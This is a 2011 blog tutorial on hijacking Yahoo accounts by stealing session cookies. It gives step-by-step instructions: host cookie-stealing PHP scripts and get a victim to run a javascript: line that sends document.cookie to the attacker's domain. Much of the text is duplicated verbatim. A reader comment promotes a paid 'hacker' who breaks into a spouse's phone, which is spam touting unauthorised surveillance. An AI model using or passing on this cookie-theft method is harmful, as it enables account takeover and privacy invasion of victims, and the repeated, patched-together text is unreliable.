Saturday, April 30, 2011
Hack Yahoo accounts with Session ID's or session cookies.
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What are session IDs or session cookies ?
Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option.
Just login to yahoo.com. Type in browser javascript:alert(document.cookie);
You would get a pop up box showing you the cookies. Now login to your account and do same thing, you would see more elements added to the cookies. These represent sessions ids .
Note: By saying , stealing sessions or stealing cookies, I mean the same thing. Sessions are stored in our browser in form of cookies.
An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim clicks 'Sign out' , session gets destroyed and attacker too also gets signed out.
But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'. Though the session automatically gets destroyed after 24hrs by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.
Requirement: Download some files from here
download here
Tutorial to steal session IDs :-
1. Sign Up for an account at any free webhosting site. I have chosen my3gb.com.
2. Login to your account and go to file manager. Upload the four files that you have just downloaded.
Make a new directory 'cookies' here.
Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option.
Just login to yahoo.com. Type in browser javascript:alert(document.cookie);
You would get a pop up box showing you the cookies. Now login to your account and do same thing, you would see more elements added to the cookies. These represent sessions ids .
An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim clicks 'Sign out' , session gets destroyed and attacker too also gets signed out.
But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'. Though the session automatically gets destroyed after 24hrs by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.
Requirement: Download some files from here
download here
Tutorial to steal session IDs :-
1. Sign Up for an account at any free webhosting site. I have chosen my3gb.com.
2. Login to your account and go to file manager. Upload the four files that you have just downloaded.
Make a new directory 'cookies' here.
3. Give this code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'
javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));
He would again redirected to his yahoo account.
4. Open the hacked.php . The password is 'explore'.
Now it doesn't matter if victim signs out from his account, you would remain logged into it.
Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen seesion.
GAME OVER!
Stolen cookies get stored in directory 'cookies'
javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));
He would again redirected to his yahoo account.
4. Open the hacked.php . The password is 'explore'.
Now it doesn't matter if victim signs out from his account, you would remain logged into it.
Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen seesion.
GAME OVER!
This post was written by: Ashif Ismail
Ashif Ismail is a professional blogger, Software Programmer and front end web developer. Follow him on Twitter
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3 Responses to “Hack Yahoo accounts with Session ID's or session cookies.”
May 6, 2011 at 4:26 AM
September 15, 2018 at 10:56 PM
My husband and i got Married last year and we have been living happily for a while. We used to be free with everything and never kept any secret from each other until recently everything changed when he got a new Job in NewYork 2 months ago. He has been avoiding my calls and told me he is working,i got suspicious when i saw a comment of a woman on his Facebook Picture and the way he replied her. I asked my husband about it and he told me that she is co-worker in his organization,We had a big argument and he has not been picking my calls,this went on for long until one day i decided to notify my friend about this and that was how she introduced me to Mr James(Worldcyberhackers@gmail.com) a Private Investigator who helped her when she was having issues with her Husband. I never believed he could do it but until i gave him my husbands Mobile phone number. He proved to me by hacking into my husbands phone. where i found so many evidence and proof in his Text messages, Emails and pictures that my husband has an affairs with another woman.i have sent all the evidence to our lawyer. I just want to thank Mr James for helping me because i have all the evidence and proof for my lawyer,I Feel so sad about infidelity.
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